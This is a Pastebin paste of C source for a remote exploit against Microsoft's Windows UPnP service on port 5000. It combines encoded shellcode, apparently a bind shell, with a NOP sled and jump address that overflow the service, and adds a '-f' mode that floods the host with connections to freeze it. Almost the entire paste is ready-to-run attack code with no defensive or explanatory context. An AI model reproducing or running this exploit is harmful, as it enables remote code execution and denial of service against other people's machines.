Advertisement
FlyFar

Hacking Microsoft's Universal Plug N' Play Event (UPnP)

Jul 17th, 2023
1,039
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.64 KB | Cybersecurity | 0 0
  1.  
  2. #include <stdio.h>
  3. #include <string.h>
  4. #include <stdlib.h>
  5. #include <errno.h>
  6. #include <string.h>
  7. #include <netdb.h>
  8. #include <sys/types.h>
  9. #include <netinet/in.h>
  10. #include <sys/socket.h>
  11. #include <sys/wait.h>
  12. #include <unistd.h>
  13. #include <fcntl.h>
  14. #define MAX 10000
  15. #define PORT 5000
  16. #define FREEZE 512
  17. #define NOP 0x43 //inc ebx, instead of 0x90
  18.  
  19. int main(int argc,char *argv[])
  20. {
  21. int sockfd[MAX];
  22. char sendXP[]="XP";
  23. char jmpcode[281], execode[840],request[2048];
  24. char *send_buffer;
  25. int num_socks,bindport,i, port;
  26.  
  27. unsigned char shellcode[] =
  28. "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
  29. "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
  30. "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
  31. "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
  32. "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
  33. "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
  34. "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
  35. "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
  36. "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
  37. "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
  38. "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
  39. "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
  40. "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
  41. "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
  42. "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
  43. "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
  44. "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
  45. "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
  46. "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
  47. "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
  48. "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
  49. "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
  50. "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
  51. "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
  52. "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
  53. "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
  54. "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
  55. "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
  56. "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
  57. "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
  58. "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
  59. "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"
  60. "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"
  61. "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
  62. "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
  63. "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
  64. "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
  65. "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
  66. "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
  67. "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
  68. "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
  69. "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
  70. "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
  71. "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
  72. "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
  73. "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
  74. "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
  75. "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
  76. "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
  77. "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
  78. "\x68\x68\x68\x68";
  79. struct hostent *he;
  80. struct sockaddr_in their_addr;
  81.  
  82.  
  83. if(argc!=3)
  84. {
  85. fprintf(stderr,"usage:%s <hostname> <command>\n",argv[0]);
  86. fprintf(stderr,"-f freeze the machine.\n");
  87. fprintf(stderr,"-e exploit.\n");
  88. exit(1);
  89. }
  90.  
  91.  
  92. if(strstr(argv[2],"-f")) {
  93. num_socks=FREEZE;
  94. send_buffer=sendXP;
  95. }
  96.  
  97. if(strstr(argv[2],"-e")) {
  98. num_socks=1;
  99. send_buffer=request;
  100. bindport^=0x9797;
  101. shellcode[778]= (bindport) & 0xff;
  102. shellcode[779]= (bindport >> 8) & 0xff;
  103.  
  104. for(i = 0; i < 268; i++)
  105. jmpcode[i] = (char)NOP;
  106.  
  107. jmpcode[268] = (char)0x4d;
  108. jmpcode[269] = (char)0x3f;
  109. jmpcode[270] = (char)0xe3;
  110. jmpcode[271] = (char)0x77;
  111. jmpcode[272] = (char)0x90;
  112. jmpcode[273] = (char)0x90;
  113. jmpcode[274] = (char)0x90;
  114. jmpcode[275] = (char)0x90;
  115.  
  116. //jmp [ebx+0x64], jump to execute shellcode
  117. jmpcode[276] = (char)0xff;
  118. jmpcode[277] = (char)0x63;
  119. jmpcode[278] = (char)0x64;
  120. jmpcode[279] = (char)0x90;
  121. jmpcode[280] = (char)0x00;
  122.  
  123. for(i = 0; i < 32; i++)
  124. execode[i] = (char)NOP;
  125. execode[32]=(char)0x00;
  126. strcat(execode, shellcode);
  127.  
  128. snprintf(request, 2048, "%s%s\r\n\r\n", jmpcode, execode);
  129. }
  130.  
  131. if((he=gethostbyname(argv[1]))==NULL)
  132. {
  133. perror("gethostbyname");
  134. exit(1);
  135. }
  136.  
  137. for(i=0; i<num_socks;i++)
  138. if( (sockfd[i]=socket(AF_INET,SOCK_STREAM,0)) == -1) {
  139. perror("socket"); exit(1);
  140. }
  141.  
  142. their_addr.sin_family=AF_INET;
  143. their_addr.sin_port=htons(PORT);
  144. their_addr.sin_addr=*((struct in_addr*)he->h_addr);
  145. bzero(&(their_addr.sin_zero),8);
  146.  
  147. for(i=0; i<num_socks;i++)
  148. if( connect(sockfd[i],(struct sockaddr*)&their_addr, sizeof(struct sockaddr))==-1)
  149. {
  150. perror("connect");
  151. exit(1);
  152. }
  153. for(i=0; i<num_socks;i++)
  154. if(send(sockfd[i],send_buffer,strlen(send_buffer),0) ==-1) {
  155. perror("send");
  156. exit(0);
  157. }
  158. for(i=0; i<num_socks;i++)
  159. close(sockfd[i]);
  160. return 0;
  161. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement